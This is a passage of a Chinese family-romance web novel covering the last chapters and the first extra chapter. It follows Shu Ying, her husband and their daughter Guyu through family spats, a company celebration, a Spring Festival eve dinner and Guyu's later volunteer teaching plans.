谷雨仍不肯放弃,夹着声音撒娇:“行不行嘛,妈妈~” 李固言疑惑问:“什么东西行不行?” 舒英系上安全带:“你闺女要喝冰可乐,说这个时候配上一瓶冰冰凉凉的可乐是更享受的事,也不知道她哪里来的道理。” “爸爸,就一小杯,我就喝一小杯嘛。”谷雨见妈妈不松口,立刻转变方向,攻略爸爸。 李固言可做不了这个主儿,他看向舒英,尝试道:“要不就给她喝一杯?” “不行。”舒英果断拒绝,“她今天都吃了两个雪糕了,再喝一杯冰可乐,晚上要拉肚子的。” 李固言闻言也不再劝,给了闺女一个爱莫能助的眼神。 谷雨心死,坐在后排唉声叹气。 她被拒绝后也就纠结一会儿,转眼儿就又恢复成一副活宝样,叽叽喳喳个没完,让人疑惑怎么她嘴里就这么多新鲜事。 车子到家,李爸李妈都已经睡了,小黑听见声音汪汪两声就赶紧亲切地上来迎接,雨露均沾的用脑袋在大主人小主人腿边蹭着,尾巴摇得飞快。 谷雨也高兴地抱住它,跟它也有说不完的话:“小黑,你怎么还没睡啊,你是不是想我啦,是不是我没回来你不放心啊,你放心吧,我跟爸爸妈妈在一起呢,很安全的,就是妈妈不让我喝可乐,我有点不开心。” 舒英好笑地看着她,压着脸咳了一声。 谷雨身子一颤,意识到说错话,转过头对着妈妈讨好地笑了两下。 舒英瞅了她一眼,无奈地摇摇头,“行了,赶紧去洗洗睡觉去吧,别跟小黑玩了。” “妈妈,我还不想睡,我能再看会儿电视吗?现在还没到八点呢,平时都是九点才睡的。” 舒英看了眼手表,的确还没到八点,点头答应:“行,允许你看到八点半。” “哦耶!”谷雨欢呼起来,放开小黑站起身,“我去看看贝贝睡没睡,我要跟她一起看电视,小黑 ,你要不要跟我一块儿过去?“俩孩子就差不到一岁,小的时候还叫姐姐,后来就直接叫名字,改也改不过来,大人们索性也不管了。 “汪汪!”小黑乖乖坐好,圆溜溜的眼睛看着她,尾巴一扫一扫。 谷雨带着小黑去找贝贝了,舒英跟李固言上楼洗漱。 一进屋,李固言就抱住舒英问:“你刚才在办公室的时候怎么了?怎么一下子不开心了?” 舒英没想到他这么敏锐,竟然一下子看穿了自己的情绪,她摇摇头:“没事,就是有些困了。” 李固言有些不相信,但见她不肯说也就不再问,手伸到腿弯将她打横抱起:“你今天给我送饭,那我投桃报李,给你洗澡。” 舒英猝然间被抱起来吓了一跳,没好气地拍了下始作俑者:“给我洗澡是投桃报李啊?你这分明是假公济私。” 李固言暧/昧地笑两声,并不否认,抱着她进浴室道:“投桃报李也好,假公济私也好,肯定把你伺候高兴了。” 舒英娇娇横他一眼,没有拒绝,精致眉目间都是只有两人才懂的风情。 第80章 第 80 章 你是不是腻烦我了?…… “上次那个长得跟我有点像的小姑娘, 现在怎么样了?”舒英手里包着饺子,仿似不经意问起。 李妈听好奇接话:“什么跟你长得像的小姑娘?” “就我们公司来了个实习生,长得跟阿舒有两分相似。”李固言道, 又回舒英, “实习生都是袁宜带着的,应该还行吧,没听袁宜跟我说什么。” “哦。”舒英把手上包好的饺子放到面板上。 “怎么想起来问她了?”李固言问。 “没事, 就突然想起来了,随口问问。” 李固言没怀疑,拍拍手上的面粉,又从赵姐那边拿了一叠擀好的面皮过来, 看了眼时间说:“谷雨也该回来了吧,怎么还没到家。” 舒英笑道:“肯定又跟朋友们在门口买东西吃呢,自以为藏得多好,打量我们不知道呢。” 李妈摇头:“也不知道学校门口那些东西咋就那么好吃, 吃的那些小孩上瘾的很, 我之前过去看人家做,看着都不卫生, 用的东西也不是好东西。” “味道好呗, 不管卫不卫生,人家味道给你做足了,这些孩子可不就喜欢吃吗?”李爸也摇头,“要我说, 就不应该给谷雨那么多零花钱,在外面那东西吃多了,回来哪还吃得下饭?” 舒英和李固言笑笑没接茬,还埋怨他俩给的零花钱多呢, 实则小家伙手里一没钱,小脸一耷拉,他自己就把兜里的钱掏出来了,一点不带犹豫的,还生怕给少了。 正巧这时候院子里小黑兴奋地叫起来。 “这是回来了。”舒英道,也就是小主人回来了,小黑才能这么激动。 果不其然,没多会儿,谷雨就从外面进来,瞧着气哼哼的,一进屋就把书包扔到沙发上。 李固言问:“怎么了这是?谁惹你生气了?” 谷雨噘着嘴,一脸的烦躁,走到餐桌边,道:“你们不知道,我今天跟贝贝一放学,刚出校门,就被一个男的拦住了。” “啊?”舒英大惊失色,顾不上手上的面粉,忙拉过她上下打量,“没什么事吧?那人你认识吗?拦着你们干嘛?” 旁边的李固言和李爸李妈也顾不上包饺子了,都围过来将谷雨环住,担忧地看着她。 “妈妈,我没事。”谷雨回答,“那人我不认识,贝贝也不认识,但我们知道谁认识。” “谁认识?你这孩子,说话怎么也不说全。”李妈问,“还是得让你爸给你们学校说一声,这学校门口怎么能有这种无关人员瞎晃悠,这些孩子可都是家里的宝贝,出了点什么事谁能负责?” “哎呀奶奶,你就放心吧,我一点儿事都没有,那个人也不是来找我的,是找贝贝姐的,那人一上来就拉着贝贝说些乱七八糟的话,还说以后他跟贝贝就是一家人了,他会对贝贝好的,就算他和大姨有了自己的孩子,也会对贝贝视如己出的。” 她这么一说,大家就都明白了,这男的是舒秀珍的小男朋友,舒英皱起眉,舒秀珍的男朋友其实一直不固定,换的挺频繁,而且从来没带到他们面前来过,之前她也说不会结婚,跟这些男人也就是各取所需,怎么,这是变卦了? 她对谷雨道:“你去叫贝贝过来,你们先看会儿电视,晚上就在咱家吃饭。” “好。”谷雨转身带着小黑跑出去了。 舒英解掉身上的围裙,洗了洗手说:“我给我姐打个电话。” “行,去吧。”李固言点头。 舒英拿着手机上楼,拨通了舒秀珍的号码,她这个点儿估计还没下班,还没回来。 手机“嘟嘟”几声后,那边才拨通。 熟悉的声音传过来,忙碌又慵懒:“怎么了?有事吗?” “有!”舒英冷着声音问,“你是不是打算再婚了?” 舒秀珍笑了声,像是听到了什么笑话:“你脑子瓦特啦?再什么婚?你别跟我说又是妈让你再婚,想给我介绍什么鳏夫昂。” 舒英皱眉:“你既然不想再婚,就把你的那些什么小男朋友都给管好,人家都找上门来了,今天放学的时候拦着贝贝说一些乱七八糟的话。” 舒秀珍语气一下沉下去,听着有些咬牙切齿道:“行,我知道了,你不用管,这事儿我会处理好的,以后不会再发生这种事了。” “嗯。”舒英见她态度,不像是知情的样子,便缓了声音,“我晚上叫贝贝在我家吃了。” “行。” 舒英打完电话后下楼,贝贝已经跟谷雨一块儿过来了,两个人坐在沙发上看电视,瞧着没什么异常。 她走到她俩跟前笑道:“冰箱里有雪糕,你们俩要不要吃雪糕?” “要!”谷雨连忙应下,又嘻嘻笑着撒娇,“妈妈你最好了!” 贝贝也笑着,但比起谷雨的活泼文静不少。 两人一人拿了一支喜欢的雪糕继续回到沙发上看电视,乐乐呵呵的,一边看一边哈哈笑。 舒英走到餐桌边,饺子包的差不多了,赵姐已经下了一锅。 李固言问:“电话打好了?” 舒英点头:“嗯,姐说她会处理好。” 这是舒秀珍家的私事,李爸李妈听了两耳朵,并不插话。 …… 李固言:“你们元旦在哪天聚?” “31号吧,估计跟之前一样,章导请我们吃个饭聚一下餐。”舒英对着镜子擦脸,她转头看了眼他问,“怎么了,你有什么事吗?” “我们公司想着今年是上市第一年,元旦准备大办一下,31号那天不正好是周五吗,大家就想选在那天办个庆典,大家好好玩一天,第二天就放假了。”李固言解释。 “哦。”舒英将脸涂好,掀开被子上床,现在还不准备睡,随手将放在床头的书拿手里看。 李固言瞥她:“‘哦’是什么意思?” 舒英翻了页书:“就是我知道了的意思。” “那你不参加吗?” 舒英把书放下:“你邀请我了吗?” 李固言笑起来:“我的错,那我现在邀请你,当我的女伴,跟我一块儿参加公司庆典?” “那我想想。” 李固言把她手里的书抽出来,惊讶问:“你还要想想?” 舒英伸手去够他手里的书,他故意拿的更高,让她碰不到,她也不纠结,够不到就够不到,索性躺下将被子盖好准备睡觉:“我还要跟我们老师同门们聚餐呢,到时候要有时间就去公司看看。” 李固言不太满意,将书放到床头柜,又倾身过去扒拉她:“你们不是一直都晚上聚餐吗?我们公司庆典在白天,不会耽误的,而且大家都说了,可以带家属来玩的,到时候大家都带着各自的家属,你舍得就我一个人孤零零的啊?” 舒英稍微酝酿点睡意又被他打散了,打了个哈欠道:“那我白天不是还要做实验嘛。” “你就请一天假嘛,一天假又不会耽误什么。”李固言对她的敷衍很不满意,伸手去揉她脸颊。 “行行行,请请请。”舒英要被他气笑了,在他手上拍了下,“你手下没轻没重的,弄疼我了。” “疼?”李固言不怀好意地笑起来,凑过去把她搂在怀里,“你跟我说哪里疼?” “不正经!”舒英喘着气瞪了他一眼。 李固言手下重重按了一下,气息也有些不匀:“哼,你说,你是不是腻烦我了?你现 在对我真是越来越不耐烦了,你是不是也想跟姐一样换小男朋友了?” “你瞎说什么。”舒英捏上他的腰拧了一把,“多大的人了,说话还这么不顾忌。” “你自己想想,你这两年就是对我越来越不耐烦了,你肯定是嫌弃我老了。”李固言颇为怨念地看了她一眼,松开她抱着手臂坐到一边,像是受了天大的委屈。 舒英抿着唇有些无奈,身上的火被他撩起来,这不上不下的,也不知道谁更恶劣。 她叹口气,看着他这幅小媳妇的样子又有点想笑,她坐起来,主动窝进他怀里,伸手搂住他,哄道:“好了好了,不要生气了,我怎么会嫌你老,你现在明明就又有成熟男人的魅力,又兼具年轻的活力,这有你在这对比着,我怎么可能看得上外面的男人?更不要说那些什么小男朋友,都是些毛头小子,哪里比得上你?” 李固言听完还算满意,但又不想这么快被哄好,故意冷着脸控诉:“那你还越来越敷衍我。” “我哪里有敷衍你?”舒英真是冤枉,她是平时太忙了,又要发论文又要做实验还要带师弟师妹,偶尔有点空闲时间不都花在他和谷雨身上了吗? “反正就有。”李固言不开心,“我看在你心里,谷雨可比我重要多了,谷雨说吃饺子,你那么忙都要亲手给她包,我说想你来公司看看我,我说十次你都记不住,还有我刚刚说想你跟我一块儿参加庆典,你也不愿意。” 也不知道是不是大半夜的,比较容易情绪上头,他这么一说还红了眼眶,好似多委屈一样。 舒英有些想笑又有些难受,伸手摸了摸他的眼皮,轻轻亲上去,道歉:“是我不好,是我忽略了你,我跟你道歉,我以后肯定注意。”她没说他跟闺女吃醋不对,她知道他就是一时有些感性,觉得自己不够爱他了。 “啪嗒”一滴眼泪滑下,落到舒英脸上,李固言眼尾红红。 舒英紧紧抱住他,语气轻缓:“我们是夫妻,我肯定最爱你,不要难受了好不好?” “嗯。”李固言点头,反应过来又觉得有些难为情,这么大人了,还吃自己闺女的醋,而且还在老婆面前哭鼻子。 舒英抬头看他,在他脸上抚摸着,找到嘴唇的位置后深深吻上去。 李固言抱住她,将她放倒,俯身倾上去,继续刚才没完成的事情。 谷雨在知道爸爸公司要办庆典后,很是感兴趣,磨着舒英道:“妈妈,我也想去,你就带着我一起去吧~” “不行,你还得上课呢。” 谷雨苦着脸:“妈妈,我真的很想去。” 李固言瞧着她这可怜巴巴的样,没忍住帮她求情:“要不也带她一块儿去吧,也给她请一天假吧,要不就是不带她去,我看她也没心思上课了。” 舒英想了想,觉得也有道理,软了态度:“那行吧,给你请天假,不过只许一次,下不为例!” “好耶!”谷雨高兴地跳起来,跟爸爸击了个掌,对于妈妈说的“下不为例”根本没放在心上。 她转身跑出去玩了,舒英看着她欢快的背影笑着摇摇头,这么跳脱的性子也不知道是随了谁。 元旦庆典。 这天早上,一家人早早起来,换上提前确定好的衣服,有化妆师过来给家里的三位女士化妆做造型。 李妈摸了摸盘起来的头发,还有些不适应,抿嘴笑了笑:“小英,你看我这样行吗?” “行啊,这发型衬您,显得更年轻了。”舒英不假思索夸道,“等再上完妆肯定更好看。” 谷雨也凑过来哄奶奶开心:“奶奶今天真漂亮!不知道的,还以为您今天才三十岁呢。” 李妈笑起来:“小赵今天早上给你吃什么了?是不是给你抹蜂蜜了?嘴巴这么甜。” 谷雨嘿嘿笑起来。 女士打扮了,男士也少不了换上正装,修理了下发型。 等都弄完后,两边人从两个房间出来在一楼客厅碰面,谷雨小蝴蝶一样跑到爷爷和爸爸面前左瞧瞧右看看,看得李爸老脸一红说:“怎么了,不认识我们了?” 谷雨还真摇摇头:“以前的爷爷认识,今天的爷爷有点陌生。” 李爸顿时嘟囔起来:“我就说别把我头发弄成这样,多奇怪,那个人非不听,你爸也是,非得同意人家弄。” 谷雨捂着嘴笑:“奶奶,爷爷不好意思了。” 李妈瞪了李爸一眼:“行了,你就别出故事耽误时间了,马上人家开始了,咱也赶紧去吧。” 李固言本就生的俊朗,再被这么一捯饬,更是突出他优秀的五官,舒英走过去牵住他真诚地夸奖:“果然还是要专业的来,你今天这发型比我之前给你弄的好看多了。” 李固言笑了笑,低下头凑近她耳边:“我还是最喜欢你给我做的发型。” 今天庆典办得热闹,公司里不少人都拖家带口的过来,好在场馆大,倒还盛得下这些人。 李固言是公司老总,一出场就自带吸引力,凝聚了绝大多数的目光。 今天不用工作,就是吃吃喝喝玩玩闹闹,大家都比较放松,聊得也就比较开。 “咱们李总是真挺厉害的,这么年轻就有了这么成功的事业。” “是啊,而且还长得这么好看,这张脸都能去做明星了。” “人不光长得好看,事业有成,人家庭还美满,真是什么好事都没少了他的。” 云亭听着她们聊天愣了下。 她们继续道:“云亭,你估计不知道,李总跟他老婆据说是相亲认识的,听人说才见一面就在一起了,第二面就领证了。” “啊?这么仓促啊。”云亭有些惊讶。 “要不怎么说是缘分呢,其实也不能算仓促吧,至少人家在一起这十几年了,女儿都这么大了,感情还这么好,大多数人别说结婚十几年了,就是在一起四五年都不一定还能有这种感情。” 云亭没说话。 大家也都知道她的性格,都没在意继续聊着。 “而且李总妻子也很厉害的,是沪大的博士呢!很具有含金量的,不是那种随便就能读读,镀个金的学历。” “这我知道,她现在不是还每年都要去哪个市做什么疟疾研究吗?真挺让人佩服的,家里都这么多钱了,夫妻俩还这么努力,而且结婚这么多年就一个孩子,还是女儿,不像有些人家一发达就想要儿子继承家产。” “所以说人家俩厉害啊,不光是能力上,还是思想上。” “你看你看,他们过来了,我就这么远远看着都觉得般配,两个人都长得这么好看,真的能说一句是天作之合。” 天作之合吗?云亭遥遥望过去,看着举止亲切的二人,有些怔愣,心中不由冒出点酸气来。 典礼马上开始了, 舒英和李固言没注意到这边的动静,两人带着谷雨和李爸李妈坐到前排的位置上,看着前方临时搭建出来的台子。 今天活动很多,不止有歌舞表演还有抽奖以及一些互动小游戏,主持人到台上开场,接着请李固言上台致言。 李固言知道谁都不喜欢听那些罗里吧嗦的话,尤其是在今天这个本来就是为了玩乐的时候,所以简短的说了两句话后就下台了。 他都没说什么话,后面的几个总就是拿着发言稿也不好再念了,也都笑着随便说了些,就回到台下坐着。 长桌那边好吃的多,谷雨在他们发言的时候就好奇地溜过去,拿了一盘子小蛋糕回来,递到妈妈和奶奶面前说:“这个蓝莓味的最好吃,这个巧克力的也不错,还有这个慕斯,有点冰冰凉凉的,味道超级棒!你们尝尝。” 舒英和李妈各拿了一块咬了一口品尝,点点头道:“是不错。” 见她们喜欢,谷雨也高兴,拿着空盘子又跑到那边,在一群小孩子里挤。 台上进行到歌舞表演,一群人在唱“当我们红尘作伴,活得潇潇洒洒~”,他们台下肯定没怎么排练过,大家一块儿唱,有些生疏凌乱,但胜在喜庆热闹,带动的台下的人也跟着唱。 一首歌毕,大家都不自觉沉浸在刚才的氛围中,脸上嘻嘻哈哈,跟台上下来的同时打趣玩闹。 不多时,台上到了下一个节目,一项女生民族独舞。 女生拿着一把扇着半遮面上台,肢体柔美,短短一个旋律就能看出这人一定是专业学过的。 观众热烈鼓起掌。 舒英也看着台上,没看清脸,不知道是谁。 女孩子扭腰旋转,朦胧扇面遮住面庞缓缓下移,露出一双婉转多情的眼睛,如水一般望向台下。 直到整张脸露出来,舒英才看清是谁。 云亭的目光在前排流连,看到浅笑着鼓掌的李总,和他旁边静静欣赏的他妻子,她敛下眉,裙裾翻涌间,脚尖一点又转了一个圈。 一舞结束,掌声雷动,云亭微微喘着气,没忍住又朝着刚才的放向投去一眼。 李总和他妻子也在鼓掌的行列,眼神中只有浅淡的欣赏,再无其它,她说不上心里的感受,低了低头,拿着扇子下台。 舒英刚刚就注意到她的视线了,她不由转头看了眼旁边的李固言,李固言察觉到她的动作,矮身倾过来问:“是不是渴了?要不要我再去给你接点热水?” 舒英笑了笑摇头:“没事,杯子里还有水。” 现实生活早已与书有着千差万别,她自己都记不清那本书上的内容了,有时午夜梦回,她也在迷茫那本书究竟是真的,还是只是她的一个梦。 其实不管他们所处是否真的是书中世界,都没必要沉溺其中,毕竟书上只是一些文字的排列,生活却有风有水有阳光。 舒英将手伸到他掌心,触到那灼人的温度,她勾起唇角笑起来,眼神看向台上的表演。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 第 81 章【正文完】 第81章 第 81 章 正文完 “妈妈, 我跟贝贝出去玩了!”谷雨系上鞋带,不等舒英回答就跑了出去。 窗外冷风呼呼地刮,天气阴沉沉的, 舒英道:“回来!把围巾耳罩还有手套都戴好再出去。” “哦。”谷雨冲院子里的小黑吐了下舌头, 老实进屋,遵照妈妈的嘱咐,将一切保暖措施都穿戴整齐后才又出去。 小黑看见小主人, 连忙昂着头跟在旁边,生怕她出去玩会不带上自己。 舒英问:“你们就在满芳庭玩,别跑出去。” “好的妈妈!”谷雨牵上小黑,跟贝贝一起很快跑没影。 舒英摇摇头, 满芳庭安保措施还是很好的,不会有什么危险,她就没再管她俩。 “赵姐,你们家别买年货了, 固言之前让小杜买了好多回来, 猪肉牛肉还有鸡鸭鱼,都买太多了, 你晚上回家的时候多拿点回去。” 赵姐擦着桌子点头笑道:“行。” 这放了寒假, 现在家里就舒英跟赵姐俩人,李爸李妈这两天被李固萱接过去了,李固言还没下班,谷雨又带着小黑跟贝贝出去玩了。 舒英打开电视, 上面放着《还珠格格》,正放到小燕子和紫薇等人招蝴蝶呢,她突然问:“赵姐,我这段时间忙, 忘了问你了,二丫现在在高中怎么样了,学习上跟得上吗?” 二丫在安城时没上过学,舒英当时帮忙找了一个私立学校,给她从小学的知识开始补,今年夏天,考上了高中,不过比班上的同学都大了几岁。 “跟得上呢,她不是上学晚嘛,基础差,刚考上高中的时候,成绩在班里倒数,她自己心里也急,天天放了学回来就学习,这回期末考试考到了班里前十名呢!”赵姐谈起闺女,语气中不乏骄傲之情,谁能想到当时一个营养不良的黑瘦姑娘,现在能考上沪市的高中,老师都说以她现在的成绩能上一本呢! 赵姐又道:“大丫也说等明年她就去考夜校,也学一门技术,现在这社会上还是得有文凭、有技术才能找到好工作,我这俩孩子都是好孩子,一点儿不让我操心。” 舒英也笑,她们一家算是真的苦尽甘来了,当初大丫二丫刚来到的时候,俩孩子都不肯上学,怕花钱,后来是赵姐苦口婆心地劝,最后是二丫上学,大丫半工半读,好让赵姐在经济上没那么大的压力。 “挺好,孩子们都懂事,还这么努力,以后肯定会过上好日子的。” 赵姐乐呵呵地笑起来,眼中充满了光亮,她现在只觉得浑身充满了干劲,当初为了二丫能在沪市读书高考,她跟雇主家借了一笔钱,在沪市买房落户,现在钱还的差不多了,孩子们也走上正轨了,生活蒸蒸日上,满是希望。 除夕这天,赵姐放假回了自己家,李固萱过来,舒秀珍也带着贝贝过来,一大家子聚在一块儿,准备一起过个热闹年,说起来,这还是他们第一次在沪市过年,入乡随俗,不包饺子了,也准备做满满一桌的年夜饭。 简单吃过午饭后,大家就在为晚上的年夜饭做准备,家里从上到下、从老到小,谁都得帮忙,一个也逃不了。 客厅里电视机开着,放着动画皮,谷雨和贝贝做着最简单的工作——择菜,她俩把菜放到盆里端到茶几上,俩人就一边看电视一边择菜,导致她们像出了故障的小机器人,择一会儿菜就要停下动作,嘿嘿哈哈笑一通,笑完了才想起来手头上的事,再急忙择一会儿,然后再停下再笑,循环往复,一盆菜要干上大半天才能处理好。 大人们在旁边看着,也不管她们,她们弄不完的就接手过来处理。 李爸看着一桌子食材嘟囔着:“这没有饺子哪里像过年嘛。” “就你事儿多。”李妈瞥他一眼,下意识就怼一句。 李爸哼一声,不跟她吵。 舒英笑着打圆场:“那要么咱还是包几个饺子,反正这么多菜都做了,也不差那几个饺子了。” 李爸这才又笑起 来,赞同道:“哎,是嘛,咱安城人过年还是得吃饺子,咱包什么馅儿的啊?” “爸,你想吃什么馅的?”李固言问,“荤的有猪肉、牛肉,素的有这些,玉米、白菜、芹菜,还有香菇。” 谷雨在那边听见,立马大声道:“爸爸,我想吃牛肉馅的饺子!” 贝贝也说:“我想吃玉米猪肉的。” 舒英看了她俩一眼:“那我拌馅儿吧,我多拌几种,反正我们人多,吃得完。” 李妈起身去和面,准备擀饺子皮。 经过一下午的忙碌,外面的天色逐渐暗下来,别墅内也不知道什么时候亮起了灯,厨房里烟雾缭绕,除了俩孩子,每个人都进厨房做了自己的拿手菜。 热气蒸腾中,一道道佳肴被端上餐桌,谷雨看着桌上的菜“哇”出声,伸着小手指就想捏一块炸肉。 舒英看见拍她一下:“去拿筷子夹着吃,不要用手捏。” 谷雨嘿嘿笑,一溜烟儿跑进厨房,拿了双筷子出来,先夹了一块炸肉放进贝贝嘴里,又夹了一块分享给旁边流着哈喇子的小黑,最后才是自己吃。 炸肉裹了面粉,外酥里嫩,冒着热气,小黑三两下就咽进肚子里,狂摇着尾巴盯着她俩不停咀嚼的嘴巴看。 谷雨满足地咽下去,开心地摸了摸小黑的大脑袋,又在盘子里给它挑了块大的。 所有饭菜上桌,人也落座,大人们倒了酒,小孩儿们的杯子里装着果汁。 “过了今天,就是二十一世纪了,咱们也是跨过世纪的人了。”李爸高兴举杯,“今年跟儿孙们在这沪市跨年,我非常高兴!希望明年,我们这一大家子还能齐聚在这里,庆祝新的一年的到来。”说完,他将杯子里的白酒一饮而尽,辣的龇牙咧嘴。 谷雨看见,和贝贝对视一眼,不约而同地学着狰狞地咧了下嘴。 舒英和李固言看见,相视而笑。 电视机放着热闹的春晚,窗外有人欢快地放着烟花。 大家齐齐举杯,庆祝即将到来的千禧年。 年夜饭吃完后,到了每年的固定节目,也是小朋友最喜欢的一个项目——发压岁钱。 李爸李妈是最年长的长辈,他们笑眯眯地从口袋里掏出提前就准备好的红包,听完俩孩子的吉利话后,就把红包递给她们。 接着是爸爸妈妈,大姨小姑。 两个孩子每人都收了六个红包,拿在手里笑得见牙不见眼,嘴里的祝福话不要钱似的一个接一个往外蹦,把大家都哄得开心。 明天大年初一,要贴春联,他们家的春联还没写,餐桌收拾好后,李爸将笔墨纸砚铺在大大的桌子上,提腕下笔。 谷雨和贝贝在旁边盯着看,李爸笑了笑,将笔递给她俩,让她们写“福”字。 两人并不生怯,拿笔就写,她俩跟着爷爷学了好久的毛笔字,现在正是检验成效的时候。 爷孙三个写了一堆春联,保证不会漏掉一间门。 谷雨看了眼小黑,突然笑起来道:“让小黑也写!” “小黑怎么写?”李爸问。 谷雨狡黠一笑,蹲到小黑旁边,举起它的大爪子道:“下雪啦,下雪啦! 雪地里来了一群小画家。小鸡画竹叶,小狗画梅花……” 外面烟花跟打仗似的,一个接一个地放,没有丝毫停歇的意思,李固言去把他们买的烟花也搬出来,放在门口空地上,用打火机点燃。 大家躲在屋里,从窗外看出去,“砰”的一声接一声,烟花绽放在天幕,绚烂多彩。 烟花的霞光将世界照亮,五彩的颜色映在玻璃窗后每个人的脸上,照出他们脸上的笑容。 谷雨怕小黑被这巨大的动静吓到,蹲下来紧紧抱着它,并用手捂住它的耳朵,嘴里念念有词地安慰着:“小黑不怕,这是在放烟花,是不是特别好看?” 小黑不知道能不能听懂她的话,它湿漉漉的眼睛全心全意地看着她,尾巴欢快地摇啊摇,突然伸出长舌头在她脸上舔了一口,谷雨有些嫌弃地后仰,“咦~小黑,你嘴巴好臭,你不要舔我。” 嘴上嫌弃,手上却还搂它搂得紧。 舒英微微靠在李固言怀里,仰头欣赏,只觉心中无比平静,平静中带着幸福,她对现在的生活很满足,她有追求的事业,有执手的伴侣,有心爱的女儿。 李固言从后面抱住她将她拥入怀中,在烟花绽放中,他低下头,在她耳边用只有两人才能听到的声音道:“我爱你。” 舒英勾起唇浅笑着,手搭在腰间的大掌上,毛茸茸的脑袋在他脖间亲昵地蹭了蹭以示回应。 门口的烟花放完,远处的烟花还络绎不绝,在这个一年中最值得庆祝的夜晚,大家都尽情地展示着自己的喜悦,以最大的期待迎接即将到来的新世纪。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 82、番外一.. 谷雨,我看网上好多人说《地球使用指南》拍得特别好,还想让你拍第二季呢,你跟妈妈说说你下一个准备拍什么?”舒英有些兴奋地抱着电脑刘览纪录片《地球用指南》的网友评论,对躺在床上看书的谷雨说。 谷雨大学学的编导,大学牛业后独自环球旅行,拍摄了一部球旅行纪录片《地球使用指南》,上映后,收到了很多喜双和好评,现在全家每天的日常都多了一项,那就是看网友们在《地球使用指南》下的留言,每次看都忍不住心里的自豪,这是他们家的孩子呢! 谷雨看了眼妈妈手里熟悉的电脑屏幕,把书盖在脸上,摇头:“我还没想好,不过倒是收到了很多邀约,但我都不是很感兴趣。” 对于文艺工作者来说,灵感和兴趣是很重要的,舒英懂,她点头安慰:“没事,你这拍 部纪录片拍了一年半,天天在外奔波,都没怎么回家爷爷奶奶都想你了,正好这段时间在家好好休息休息,也陪陪他 门。" "爷爷奶奶想我,妈妈你不想我吗?"谷雨把书拿开,坐起身坏笑着问 “想!怎么不想?”舒英轻轻拍了拍她脑袋,宠溺地笑着,“小调皮鬼,你看书吧,妈妈下楼了。” “嗯~” 卧室门轻轻一声响,门锁被扣上,房间内又回归安静,只有大大的落地窗敞开着,夏天的风吹进来,将蕾丝纱帘带起,阳光从露台照进来,明媚到让人眩晕。 谷雨呈“大”字型瘫倒在床上,眼睛看着天花板眨呀眨,摊开的书本被风吹的哗啦啦响,她在这平静中感到有些无聊 “啦~”手机铃声响起,谷雨拿起来看了眼,屏幕上显示着“芝宝”两字,是芝艺,她俩从幼儿园就是好友,后来小学、初中、高中都同伴,大学也都在沪大,可以说是彼此最子的朋友。"喂,怎么了芝芝? “下午出来,我待会儿把地址发你。”芝芝说完就把电话挂断,一点儿不带客气。 谷雨看着地址上的咖啡店,也没问她出去干嘛,又看了眼时间,还没到十一点,她将手机放下,继续刚才的姿势闲躺着。 下午两点咖啡店,谷雨撑着头打着哈欠,百无聊赖地搅着杯里的咖啡,将上面漂亮的拉花搅乱。 芝芝看着她无可救药般摇摇头:“我的一个同学组织了一场为期一年的山区支教,地点在本南县,你感不感兴趣?” 山区支教?本南县?谷雨眼睛一亮,立马坐直身子。 芝芝在手机页面上划拉了两下递到她面前:“我当时看到这个地址就知道你肯定感兴趣,喏,这是负责人的联系方式,你直接联系她就行。” 谷雨将联系方式记到自己手机上,颔首道:“好了。” 芝芝把手机收回来,问:“《地球使用指南》评价很高啊,你怎么不再拍一部了?” “同一个选题不太想拍第二遍。” “那你下一部想好拍什么了吗?” “本来没想好。”谷雨笑容灿烂,晃了晃手里的手机,“现在想好了。” 和芝芝分开后,谷雨立刻联系负责人,报名成为支教老师。 成功入选后,谷雨将支教的事告诉大家,舒英和李固言毫不惊讶,她大学刚毕业就一个人跑去了人生地不熟的国外,一跑就是一年多,也就是这段时间才在家老实待了会儿。李爸对她的决定也很支持,赞赏道:“好!爷爷当了一辈子老师了,有很多经验都可以分享给你,你要是有什么不懂的地方就问我。” 李妈却是很担心:“女孩子去山区支教不安全吧?” 谷雨笑起来说:“你们知道我去的地方叫什么吗?” “叫什么?” “本南县。”谷雨一字一顿,边说边观察大家的表情。 舒英听到这个熟悉的地名,惊讶地瞪大眼:“去本南县呀?这说起来,自从那边的疟疾得到有力控制后,我已经好多年没去过那里了,也不知道那边发展的怎么样了。” 谷雨上前挽着妈妈的胳膊靠在她身上,“小时候你每年都要去那边,一去就是几个月,我就一直很好奇,那边究竟是什么样子的,这下也轮到我去那边看看了。” 去本南县,至少是个熟悉的地方,大家都稍稍放下心,而且谷雨练了十几年的拳了,可以说,普通人一般都是打不过她的。 手机震动,谷雨抱着小黑的脑袋揉了揉,看着手机上的新消息,是支教负责人说想要所有老师在支教前聚一次餐,让大家互相熟悉一番。 她记下时间地点,按时赴约。 支教是一个大团队,总共有二十几个人,但按照去的学校又分成四人一个小团队。他们团队正好是两男两女,谷雨跟小团队的另外三人打招呼。 何阳看着她有些惊讶:“李眷书!真的是你啊,我认识你,你比我高一届,你那时候在学校很有名的,可是学校里的风云人物。”经常参加比赛得第一,相貌又出众,很难不出名。 说完寻求另外俩人的认同,陆青野笑着附和,安平迟疑了下也点头。 谷雨没料到他们会认识自己,有些不好意思道:“年少轻狂,年少轻狂。” 饭吃一半,谷雨道:“其实这次我当支教老师还有一个日的,就是我想拍部纪录片,记录山区风光,支教老师和学生们的日常,所以想征询一下你们的意见,当然,如果你们不愿意出境的话,那我拍摄的时候会注意不把你们拍到画面里,就是拍到,后期也会剪掉。” “我没意见。“何阳率先表态,很积极地笑着,道,“我看过学姐拍的《地球使用指南》,不知道你们看过没有,画面拍得很美很自然,内容也很新奇丰富。说实话,我看到支教名单上有你的名字的时候,我首先是怀疑是不是同名,接着就想如果真的是你,你肯定是想拍纪录片。” 大家都笑起来,陆青野也说:“我也没意见,就一个要求,希望你到时候把我拍的漂亮一点。” 谷雨连忙答应,笑道:“你长得就很漂亮,拍出来肯定也很好看。” 那就剩最后一人了,三人视线都期待地转向安平,安平没说话,看了谷雨一眼后,也点头答应。 聚餐结束,负责人跟大家定下出发时间,谷雨回到家就开始准备支教需要的东西和拍摄设备,她拍过一部纪录片了,设备很好准备,都是她用熟了的,就是支教的东西有点麻颊。 舒英道:“那边气候特殊,一年中一大半时间都是雨季,就算现在疟疾得到了控制,蚊虫肯定还是少不了的,你多带点防蚊的东西,山区里去哪都不太方便,东西也不好买,像卫生巾这些日用品也要多备着。” 